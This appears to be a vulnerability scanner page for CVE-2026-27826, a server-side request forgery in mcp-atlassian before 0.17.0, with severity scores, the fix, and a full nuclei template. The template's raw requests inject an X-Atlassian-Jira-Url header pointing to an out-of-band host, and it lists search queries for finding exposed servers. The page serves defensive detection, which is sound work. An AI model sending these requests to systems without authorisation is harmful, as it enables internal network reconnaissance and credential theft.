mcp-atlassian < 0.17.0 - Server-Side Request Forgery

highseverity

8.2CVSS score

13.9%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

MCP Atlassian < 0.17.0 contains a server-side request forgery caused by improper validation of custom HTTP headers in the HTTP middleware, letting unauthenticated attackers force outbound requests to arbitrary URLs, exploit requires access to the mcp-atlassian HTTP endpoint.

Impact

Unauthenticated attackers can make the server send requests to arbitrary URLs, enabling internal network reconnaissance and potential credential theft.

Fix

Upgrade to version 0.17.0 or later.

How to confirm it

Send: POST /mcp
Positive when: status_code == 200 and len(session_id) > 0
Send: POST /mcp
Positive when: contains(interactsh_protocol, "http") and status_code == 200

Run it with nuclei: nuclei -id CVE-2026-27826 -u <target>

The full check

id: CVE-2026-27826

info:
  name: mcp-atlassian < 0.17.0 - Server-Side Request Forgery
  author: eyangfeng88-arch
  severity: high
  description: |
   MCP Atlassian < 0.17.0 contains a server-side request forgery caused by improper validation of custom HTTP headers in the HTTP middleware, letting unauthenticated attackers force outbound requests to arbitrary URLs, exploit requires access to the mcp-atlassian HTTP endpoint.
  impact: |
   Unauthenticated attackers can make the server send requests to arbitrary URLs, enabling internal network reconnaissance and potential credential theft.
  remediation: |
   Upgrade to version 0.17.0 or later.
  reference:
    - https://pluto.security/blog/mcpwnfluence-cve-2026-27825-critical/
    - https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-7r34-79r5-rcc9
    - https://github.com/sooperset/mcp-atlassian/pull/986
    - https://nvd.nist.gov/vuln/detail/CVE-2026-27826
  classification:
    cvss-metrics: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N
    cvss-score: 8.2
    cve-id: CVE-2026-27826
    epss-score: 0.13853
    epss-percentile: 0.96558
    cwe-id: CWE-918
  metadata:
    verified: true
    max-request: 2
    vendor: sooperset
    product: mcp-atlassian
    shodan-query: http.html:"Atlassian MCP"
    fofa-query: body="Atlassian MCP" || header="mcp-session-id"
  tags: cve,cve2026,mcp,atlassian,ssrf,oast

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /mcp HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Accept: application/json, text/event-stream

        {"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"nuclei","version":"1.0"}}}

    extractors:
      - type: regex
        name: session_id
        part: header
        internal: true
        group: 1
        regex:
          - '(?i)Mcp-Session-Id:\s*([a-f0-9]+)'

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'len(session_id) > 0'
        condition: and
        internal: true

  - raw:
      - |
        POST /mcp HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Accept: application/json, text/event-stream
        Mcp-Session-Id: {{session_id}}
        X-Atlassian-Jira-Url: http://{{interactsh-url}}
        X-Atlassian-Jira-Personal-Token: nuclei-ssrf-test

        {"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"jira_get_issue","arguments":{"issue_key":"TEST-1"}}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "http")'
          - 'status_code == 200'
        condition: and

References

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